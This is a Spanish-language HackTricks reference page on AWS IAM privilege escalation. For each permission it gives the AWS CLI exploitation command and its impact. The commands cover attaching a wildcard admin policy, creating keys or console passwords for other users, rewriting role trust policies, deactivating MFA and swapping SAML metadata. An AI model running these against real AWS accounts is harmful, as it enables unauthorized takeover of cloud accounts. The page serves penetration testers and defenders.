AWS - IAM Privesc

Apoya a HackTricks

IAM

Para más información sobre IAM revisa:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Otorga la capacidad de crear una nueva versión de política IAM, evitando la necesidad del permiso iam:SetDefaultPolicyVersion utilizando la bandera --set-as-default. Esto permite definir permisos personalizados.

Comando de Explotación:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escala privilegios directamente al permitir cualquier acción en cualquier recurso.

iam:SetDefaultPolicyVersion

Permite cambiar la versión predeterminada de una política IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalada de privilegios indirecta al habilitar más permisos.

iam:CreateAccessKey

Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una posible escalada de privilegios.

Explotación:

aws iam create-access-key --user-name <target_user>

Impacto: Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite crear o actualizar un perfil de inicio de sesión, incluyendo la configuración de contraseñas para el inicio de sesión en la consola de AWS, lo que lleva a una escalada de privilegios directa.

Explotación para Creación:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit for Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalada de privilegios directa al iniciar sesión como "cualquier" usuario.

iam:UpdateAccessKey

Permite habilitar una clave de acceso deshabilitada, lo que podría llevar a un acceso no autorizado si el atacante posee la clave deshabilitada.

Explotación:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalada de privilegios directa al reactivar claves de acceso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite generar o restablecer credenciales para servicios específicos de AWS (por ejemplo, CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.

Explotación para Creación:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit for Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalada de privilegios directa dentro de los permisos del servicio del usuario.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite adjuntar políticas a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la política adjunta.

Explotación para Usuario:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit for Group:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalada de privilegios directa a cualquier cosa que la política conceda.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite adjuntar o poner políticas a roles, usuarios o grupos, habilitando la escalada de privilegios directa al conceder permisos adicionales.

Explotación para Role:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit for Inline Policies:

Explotación de Políticas Inline:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puedes usar una política como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impacto: Escalada de privilegios directa al agregar permisos a través de políticas.

iam:AddUserToGroup

Permite agregarse a uno mismo a un grupo IAM, escalando privilegios al heredar los permisos del grupo.

Explotación:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalada de privilegios directa al nivel de los permisos del grupo.

iam:UpdateAssumeRolePolicy

Permite alterar el documento de política de asunción de un rol, habilitando la asunción del rol y sus permisos asociados.

Explotación:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Donde la política se ve como la siguiente, que otorga al usuario permiso para asumir el rol:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalada de privilegios directa al asumir los permisos de cualquier rol.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una escalada de privilegios indirecta.

Explotación para Subida de Clave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit for MFA Deactivation:

Explotación para la Desactivación de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalada de privilegios indirecta al habilitar el acceso a CodeCommit o deshabilitar la protección MFA.

iam:ResyncMFADevice

Permite la resincronización de un dispositivo MFA, lo que podría llevar a una escalada de privilegios indirecta al manipular la protección MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalada de privilegios indirecta mediante la adición o manipulación de dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con estos permisos puedes cambiar los metadatos XML de la conexión SAML. Luego, podrías abusar de la federación SAML para iniciar sesión con cualquier rol que confíe en ella.

Ten en cuenta que al hacer esto los usuarios legítimos no podrán iniciar sesión. Sin embargo, podrías obtener el XML, poner el tuyo, iniciar sesión y configurar el anterior de nuevo.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(No estoy seguro de esto) Si un atacante tiene estos permisos podría agregar una nueva Thumbprint para lograr iniciar sesión en todos los roles que confían en el proveedor.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referencias

Apoya HackTricks

Last updated